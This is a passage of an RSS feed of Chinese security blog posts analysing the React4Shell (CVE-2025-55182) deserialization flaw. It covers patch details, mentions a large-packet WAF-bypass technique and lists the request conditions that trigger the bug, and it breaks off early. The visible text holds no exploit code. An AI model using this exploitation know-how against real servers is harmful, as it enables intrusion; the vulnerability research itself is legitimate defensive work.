&#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">base64</span></code><span leaf=""> 时并不是解码，而是编码操作，从而导致利用过程中断，不知道算不算 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">busboy</span></code><span leaf=""> 的一个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">issue</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100009001" class="rich_pages wxw-img" data-ratio="0.5254901960784314" data-type="png" data-w="1020" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=98eaa24a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFOCv1K4aIvaKLIIKkHhfHaEqicmWsWftaAXPkWT48Oiaxqc8r0iblpVXdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外，前不久为了应对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">React4Shell</span></code><span leaf=""> 攻击，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Cloudflare</span></code><span leaf=""> 将缓冲区长度限制从 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">128KB</span></code><span leaf=""> 上调到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">1MB</span></code><span leaf=""> ，由于处理不当导致出现了大规模宕机。这里就涉及一个大包 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Bypass WAF</span></code><span leaf=""> 的技巧，具体实现可以去看 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">pyn3rd</span></code><span leaf=""> 徐师傅的分享，这里就不过多赘述：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100009000" class="rich_pages wxw-img" data-ratio="0.45284872298624756" data-type="png" data-w="1018" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=867424d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFRYTrtjsWQ0FwWNEfPxoIO6IeBgia5I7T650BDhTFQw982LyCmSguS5g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">修复方式</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">新版本对代码进行了多处更新，比如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getOutlinedModel</span></code><span leaf=""> 函数：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008999" class="rich_pages wxw-img" data-ratio="1.1961538461538461" data-type="png" data-w="780" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=016ec7e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icF4vKghdVhJ6xibcd6Ax9iawtNmGQQ1TsDyTGnEqeJeFpfDSPDibhaAHx8Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">代码中还新增了多处 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">hasOwnProperty</span></code><span leaf=""> 检查，以消除原型链污染隐患，比如：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100009003" class="rich_pages wxw-img" data-ratio="0.6276729559748427" data-type="png" data-w="795" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=7981f81b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFxtungvIdDRicL94E9vicXTZvpymfThxiaHcibRHZ4tOaT1QstFXdGxmOCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247492655">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f79723e2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492655%26idx%3D1%26sn%3Dfa4695b1e5fa8bc4d5667f70dcde3f1f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 11 Dec 2025 07:01:00 +0800</pubDate>
    </item>
    <item>
      <title>人工深度调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞（一）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492538&amp;idx=1&amp;sn=fc886058323f7d23414ab5e734f8f8ee</link>
      <description>人工深度调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞系列分析。</description>
      <content:encoded><![CDATA[<p>原创 <span>KCyber</span> <span>2025-12-07 15:01</span> <span style="display: inline-block;">北京</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ea2f9c5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAwcs4WYylVKq8JZz8X4CVATW2RZS6INuaMQia8Ep0EK4wWX7INOWpuZfmtCHZIoO6UxeSvdUA1BE1Q%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>人工深度调试剖析 CVE-2025-55182 React4Shell 反序列化漏洞系列分析。</p>
  <p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">发现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">React2shell</span></code><span leaf=""> 漏洞的人真是太厉害了。目前漏洞 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POC</span></code><span leaf=""> 已经公开，但是网上关于该漏洞的分析充满了各种 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 味，为了深入理解漏洞原理，我还是坚持做一下纯手工调试分析。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">实话说自己对新版本 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JS</span></code><span leaf=""> 的一些语法糖也不熟悉，因此还需要不断学习。接下来一段时间，我将从漏洞触发原理、利用方法、WAF绕过等多个维度进行分享。今天先分析其中最基础的部分--解析请求如何触发反序列化流程？并尝试回答以下几个问题：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 为什么必须是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">POST</span></code><span leaf=""> 请求？</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 为什么必须有 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">next-action</span></code><span leaf=""> 头？</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 为什么必须是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">multipart/form-data</span></code><span leaf=""> 请求？</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang 